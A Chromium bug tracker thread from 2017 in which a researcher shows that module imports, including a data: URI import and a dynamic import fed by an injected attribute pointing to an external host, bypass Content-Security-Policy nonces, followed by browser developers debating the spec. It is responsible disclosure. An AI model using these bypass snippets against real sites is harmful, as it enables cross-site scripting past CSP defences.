Module script import bypasses Content-Security-Policy
Reported by
mic...@bentkowski.info,
Oct 25 2017
|
||||||||||||||||
Issue description
UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Steps to reproduce the problem:
Chrome doesn't seem to check a script against the CSP policies when the script is loaded via JS import e.g.
<meta http-equiv=content-security-policy
content="default-src 'nonce-abcd'">
<script type=module nonce=abcd>
import 'data:application/javascript,alert(1)';
</script>
What is the expected behavior?
The alert(1) should not execute since "data:" URI is not whitelisted.
What went wrong?
The alert was shown.
Did this work before? N/A
Chrome version: 61.0.3163.100 Channel: stable
OS Version: OS X 10.12.6
Flash Version:
,
Oct 25 2017
-Microsoft Edge 16 blocks the script -Safari Tech Preview R42 - 11.1 WebKit 12605.1.10) behaves like Chrome and allows execution of the imported script. -Firefox 58, if you enable |module| in about:config and change from default-src to script-src, behaves like Chrome and allows execution of the imported script. I'm not an expert, but it seems like transitive trust should require 'strict-dynamic'. But this: https://github.com/w3c/webappsec-csp/issues/243#issuecomment-332895793 seems to suggest otherwise.
,
Oct 25 2017
+mkwst defined the policy that nonces flow through imports
,
Oct 26 2017
The idea I was running with at the outset was that modules were a single script split into multiple files, so noncing the module could reasonably mean "Load all the stuff in this module." I admit that I didn't consider inlined module scripts when making that decision, but I don't think it substantially changes the calculus. That is, if you can inject an import into a script block, you could just as well inject the script you're importing. If we wish to make this more restrictive, then we'll need to revisit the discussion around giving fetch options to `import` statements (which would also enable integrity checks that we can't do today).
,
Oct 31 2017
I'm not sure I understand correctly, but I think I share the view in #4 that this might be working as intended. +additional CSP experts for their thoughts. If you agree, feel free to WontFix this; otherwise it might be a longer term fix ("revisit the discussion")?
,
Oct 31 2017
Assigning to andypaicu to keep an eye on it. :)
,
Nov 1 2017
Given that this is fundamentally a spec issue and there doesn't seem to be a browser bug here, any objections to removing visibility restrictions?
,
Nov 10 2017
,
Nov 22 2017
I think that discussion about imports in nonced scripts needs to revised in terms of dynamic import. Consider the following code inspired by https://developers.google.com/web/updates/2017/11/dynamic-import : <!DOCTYPE html> <meta charset="utf-8"> <meta http-equiv=content-security-policy content="script-src 'nonce-abcd'"> <title>My library</title> <nav> <a href="books.html" data-entry-module="books">Books</a> <a href="movies.html" data-entry-module="movies">Movies</a> <a href="video-games.html" data-entry-module="video-games">Video Games</a> <!-- XSS HERE --> <a href="x.html" data-entry-module='/bntk.pl/xss.php?'>XSS</a> </nav> <main>This is a placeholder for the content that will be loaded on-demand.</main> <script> const main = document.querySelector('main'); const links = document.querySelectorAll('nav > a'); for (const link of links) { link.addEventListener('click', async (event) => { event.preventDefault(); try { /* DYNAMIC IMPORT HERE */ const module = await import(`/${link.dataset.entryModule}.mjs`); // The module exports a function named `loadPageInto`. module.loadPageInto(main); } catch (error) { main.textContent = error.message; } }); } </script> I reckon it may become quite common with dynamic import that some part of the path of a script to be imported will be taken from the DOM. In the above case, the import of //bntk.pl/xss.php? will be allowed hence leading to XSS. Perhaps it works as intended but intuitively I would expect that the above code should more or less work similar to: <script nonce=abcd> const sc = document.createElement('script'); sc.src = '//bntk.pl/xss.php'; document.body.append(sc); </script> which would obviously be blocked.
,
Nov 23 2017
Thanks for pointing this out, Michal! I agree with your reasoning and updated https://github.com/w3c/webappsec-csp/issues/243 with some thoughts; maybe we should continue the discussion there?
,
Feb 15 2018
This doesn't need view-restrictions, as the POC is public in the webappsec-csp issues list.
,
Feb 18 2018
,
Mar 7 2018
,
Apr 19 2018
,
May 30 2018
,
Jul 25
,
Sep 5
,
Oct 17
,
Oct 25
Closing in favor of the spec issue discussion. Depending on the result this might or might not be a bug in Chrome. |
||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||
Comment 1 by elawrence@chromium.org
, Oct 25 2017Status: Untriaged (was: Unconfirmed)